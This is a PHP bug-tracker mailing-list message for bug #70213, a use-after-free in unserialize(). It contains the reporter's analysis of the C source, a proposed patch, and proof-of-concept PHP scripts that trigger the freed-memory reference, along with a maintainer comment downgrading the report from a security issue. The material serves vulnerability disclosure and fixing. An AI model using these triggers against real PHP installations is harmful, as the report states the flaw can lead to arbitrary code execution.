Sec Bug->Bug #70213 [Opn]: Use after free vulnerability in unserialize()

From: Date: Sun, 16 Aug 2015 22:44:39 +0000
Subject: Sec Bug->Bug #70213 [Opn]: Use after free vulnerability in unserialize()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-195249@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70213&edit=1 ID: 70213 Updated by: stas@php.net Reported by: taoguangchen at icloud dot com Summary: Use after free vulnerability in unserialize() Status: Open -Type: Security +Type: Bug Package: *General Issues Operating System: * PHP Version: 5.4.44 Block user comment: N Private report: Y New Comment: This exploit seems to require specially crafted code unlikely to be encountered in real applications. As such, doesn't look like a security issue. Previous Comments: ------------------------------------------------------------------------ [2015-08-08 10:56:11] taoguangchen at icloud dot com previous PoC is work but some code is not required, so i update a new PoC: ``` ini_set('unserialize_callback_func', 'evil'); function evil() { function __autoload($arg) { $str = 'a:1:{i:0;i:1'; unserialize($str); } } $exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` ------------------------------------------------------------------------ [2015-08-08 10:24:20] taoguangchen at icloud dot com the patch for 5.4 series (maybe work on 5.5 and 5.6 series): diff --git a/php-5.4.44/var_unserializer.c b/php-5.4.44-fixed/var_unserializer.c index 8c4e629..bb35ba8 100644 --- a/php-5.4.43/var_unserializer.c +++ b/php-5.4.43-fixed/var_unserializer.c @@ -728,6 +728,7 @@ yy20: } /* The callback function may have defined the class */ + BG(serialize_lock)++; if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) { ce = *pce; } else { @@ -735,6 +736,7 @@ yy20: incomplete_class = 1; ce = PHP_IC_ENTRY; } + BG(serialize_lock)--; zval_ptr_dtor(&user_func); zval_ptr_dtor(&arg_func_name); ------------------------------------------------------------------------ [2015-08-08 10:23:06] taoguangchen at icloud dot com Description: ------------ i) ZVAL can be freed from memory via the process_nested_data() with a invalid serialized string. ``` static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data; ... ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data); <=== free memory return 0; } ``` ii) defined __autoload() function via unserialize()'s callback function, then call __autoload() function via zend_lookup_class(). ``` MAKE_STD_ZVAL(user_func); ZVAL_STRING(user_func, PG(unserialize_callback_func), 1); args[0] = &arg_func_name; MAKE_STD_ZVAL(arg_func_name); ZVAL_STRING(arg_func_name, class_name, 1); BG(serialize_lock)++; if (call_user_function_ex(CG(function_table), NULL, user_func, &retval_ptr, 1, args, 0, NULL TSRMLS_CC) != SUCCESS) { ... /* The callback function may have defined the class */ if (zend_lookup_class(class_name, len2, &pce TSRMLS_CC) == SUCCESS) { ce = *pce; } else { ``` so we can create ZVAL and free it via crafted __autoload() with deserialize invalid serialized string. then use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code. PoC: ``` ini_set('unserialize_callback_func', 'evil'); function evil() { function __autoload($arg) { $str = 'a:1:{i:0;i:1'; unserialize($str); } } $exploit = 'a:2:{i:0;O:4:"evil":0:{}i:1;R:4;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ``` ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70213&edit=1

« previous php.bugs (#195249) next »